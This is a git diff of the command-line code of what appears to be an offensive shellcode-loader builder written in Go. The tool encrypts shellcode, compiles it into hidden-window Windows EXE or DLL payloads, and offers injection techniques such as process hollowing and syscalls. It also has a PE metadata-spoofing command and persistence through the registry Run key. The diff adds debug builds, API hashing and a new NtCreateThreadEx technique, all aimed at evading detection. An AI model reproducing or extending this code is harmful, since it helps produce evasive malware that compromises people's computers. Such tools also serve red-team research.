@@ -43,17 +43,25 @@ const ASCII_ART = `
43
43
`
44
44
45
45
func BuildLoader (opts * Options ) * exec.Cmd {
46
- os .Setenv ("GOOS" , opts .OS )
47
- os .Setenv ("GOARCH" , opts .Arch )
46
+ os .Setenv ("GOOS" , opts .OS )
47
+ os .Setenv ("GOARCH" , opts .Arch )
48
48
if opts .BuildType == "dll" {
49
49
os .Setenv ("CGO_ENABLED" , "1" )
50
50
os .Setenv ("CC" , "x86_64-w64-mingw32-gcc" )
51
51
fmt .Println ("[*] Compiling payload as dll..." )
52
52
53
+ if opts .WithDebug {
54
+ return exec .Command ("go" , "build" , "-buildmode=c-shared" , "-o" , "payload.dll" , "." )
55
+ }
56
+
53
57
return exec .Command ("go" , "build" , "-buildmode=c-shared" , "-ldflags" , "-s -w -H=windowsgui" , "-o" , "payload.dll" , "." )
54
58
} else if opts .BuildType == "exe" {
55
59
fmt .Println ("[*] Compiling payload as executable..." )
56
60
61
+ if opts .WithDebug {
62
+ return exec .Command ("go" , "build" , "-o" , "payload.exe" , "." )
63
+ }
64
+
57
65
return exec .Command ("go" , "build" , "-ldflags" , "-s -w -H=windowsgui" , "-o" , "payload.exe" , "." )
58
66
} else {
59
67
fmt .Printf ("[!] Buildtype format not supported!" )
@@ -63,7 +71,7 @@ func BuildLoader(opts *Options) *exec.Cmd {
63
71
64
72
func GetParser (opts * Options ) * cobra.Command {
65
73
66
- version := "1.2.0 "
74
+ version := "1.2.2 "
67
75
var spoofMetadata = & cobra.Command {
68
76
Use : "spoof" ,
69
77
Version : version ,
@@ -142,7 +150,7 @@ func GetParser(opts *Options) *cobra.Command {
142
150
os .Exit (1 )
143
151
}
144
152
145
- /* i got 99 problems but generating a random key aint one */
153
+ /* generating a random key if none are selected */
146
154
if opts .Key == "" {
147
155
opts .Key = tools .RandomString (32 )
148
156
}
@@ -190,9 +198,6 @@ func GetParser(opts *Options) *cobra.Command {
190
198
panic (err )
191
199
}
192
200
193
- fmt .Println ("\n ...downloading necessary library..." )
194
- fmt .Println ("if it fails because of your internet connection, please consider using XOR or AES instead" )
195
-
196
201
/* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */
197
202
execCmd := exec .Command ("go" , "get" , "golang.org/x/crypto/chacha20poly1305" )
198
203
execCmd .Dir = MYPH_TMP_DIR
@@ -207,9 +212,6 @@ func GetParser(opts *Options) *cobra.Command {
207
212
panic (err )
208
213
}
209
214
210
- fmt .Println ("\n ...downloading necessary library..." )
211
- fmt .Println ("if it fails because of your internet connection, please consider using XOR or AES instead" )
212
-
213
215
/* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */
214
216
execCmd := exec .Command ("go" , "get" , "golang.org/x/crypto/blowfish" )
215
217
execCmd .Dir = MYPH_TMP_DIR
@@ -224,6 +226,7 @@ func GetParser(opts *Options) *cobra.Command {
224
226
panic (err )
225
227
}
226
228
229
+ /* FIXME(djnn): this should not work like this but instead have a flag and an array of techniques like the rest */
227
230
persistData := ""
228
231
if opts .Persistence != "" {
229
232
persistData = fmt .Sprintf (`persistExecute("%s")` , opts .Persistence )
@@ -258,7 +261,7 @@ func GetParser(opts *Options) *cobra.Command {
258
261
panic (err )
259
262
}
260
263
261
- templateFunc := loaders .SelectTemplate (opts .Technique )
264
+ templateFunc := loaders .SelectTemplate (opts .Technique , opts . UseAPIHashing , opts . APIHashingType )
262
265
if templateFunc == nil {
263
266
fmt .Printf ("[!] Could not find a technique for this method: %s\n " , opts .Technique )
264
267
os .Exit (1 )
@@ -270,19 +273,33 @@ func GetParser(opts *Options) *cobra.Command {
270
273
}
271
274
272
275
fmt .Printf ("\n [+] Template (%s) written to tmp directory. Compiling...\n " , opts .Technique )
276
+
277
+ if opts .UseAPIHashing {
278
+ execGoGetCmd := exec .Command ("go" , "get" , "github.com/Binject/debug/pe" )
279
+ execGoGetCmd .Dir = MYPH_TMP_DIR
280
+ _ , _ = execGoGetCmd .Output ()
281
+ }
282
+
273
283
execCmd := BuildLoader (opts )
274
284
execCmd .Dir = MYPH_TMP_DIR
275
285
276
- _ , stderr := execCmd .Output ()
286
+ var stderr error
287
+ _ , stderr = execCmd .Output ()
277
288
278
289
if stderr != nil {
290
+
291
+ command := "go build -ldflags \" -s -w -H=windowsgui\" -o payload.exe"
292
+ if opts .BuildType == "dll" {
293
+ command = "CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags \" -s -w -H=windowsgui\" -o payload.dll"
294
+ }
295
+
279
296
fmt .Printf ("[!] error compiling shellcode: %s\n " , stderr .Error ())
280
297
fmt .Printf (
281
298
"\n You may try to run the following command in %s to find out what happend:\n \n GOOS=%s GOARCH=%s %s\n \n " ,
282
299
MYPH_TMP_DIR ,
283
300
opts .OS ,
284
301
opts .Arch ,
285
- "go build -ldflags \" -s -w -H=windowsgui \" -o payload.exe" ,
302
+ command ,
286
303
)
287
304
288
305
fmt .Println ("If you want to submit a bug report, please add the output from this command...Thank you <3" )
@@ -308,12 +325,15 @@ func GetParser(opts *Options) *cobra.Command {
308
325
rootCmd .Flags ().StringVarP (& opts .OutName , "out" , "f" , defaults .OutName , "output name" )
309
326
rootCmd .Flags ().StringVarP (& opts .ShellcodePath , "shellcode" , "s" , defaults .ShellcodePath , "shellcode path" )
310
327
rootCmd .Flags ().StringVarP (& opts .Target , "process" , "p" , defaults .Target , "target process to inject shellcode to" )
311
- rootCmd .Flags ().StringVarP (& opts .Technique , "technique" , "t" , defaults .Technique , "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp)" )
312
- rootCmd .Flags ().StringVarP (& opts .BuildType , "builtype" , "b" , defaults .BuildType , "define the output type (allowed: exe, dll)" )
328
+ rootCmd .Flags ().StringVarP (& opts .Technique , "technique" , "t" , defaults .Technique , "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp)" )
313
329
rootCmd .Flags ().VarP (& opts .Encryption , "encryption" , "e" , "encryption method. (allowed: AES, chacha20, XOR, blowfish)" )
314
330
rootCmd .Flags ().StringVarP (& opts .Key , "key" , "k" , "" , "encryption key, auto-generated if empty. (if used by --encryption)" )
315
331
rootCmd .Flags ().UintVarP (& opts .SleepTime , "sleep-time" , "" , defaults .SleepTime , "sleep time in seconds before executing loader (default: 0)" )
316
- rootCmd .PersistentFlags ().StringVarP (& opts .Persistence , "persistence" , "z" , defaults .Persistence , "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\ Microsoft\\ Windows\\ CurrentVersion\\ Run' reg key (default: \" \" )" )
332
+ rootCmd .Flags ().BoolVarP (& opts .WithDebug , "debug" , "d" , false , "builds binary with debug symbols" )
333
+ rootCmd .Flags ().BoolVarP (& opts .UseAPIHashing , "use-api-hashing" , "" , false , "Use API Hashing" )
334
+ // TODO(djnn): re-add this flag once supported
335
+ // rootCmd.Flags().StringVarP(&opts.APIHashingType, "api-hashing-type", "", "DJB2", "Hashing algorithm used for API hashing")
336
+ rootCmd .Flags ().StringVarP (& opts .Persistence , "persistence" , "z" , defaults .Persistence , "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\ Microsoft\\ Windows\\ CurrentVersion\\ Run' reg key (default: \" \" )" )
317
337
318
338
spoofMetadata .Flags ().StringVarP (& opts .PEFilePath , "pe" , "p" , defaults .PEFilePath , "PE file to spoof" )
319
339
spoofMetadata .Flags ().StringVarP (& opts .VersionFilePath , "file" , "f" , defaults .VersionFilePath , "manifest file path (as JSON)" )
0 commit comments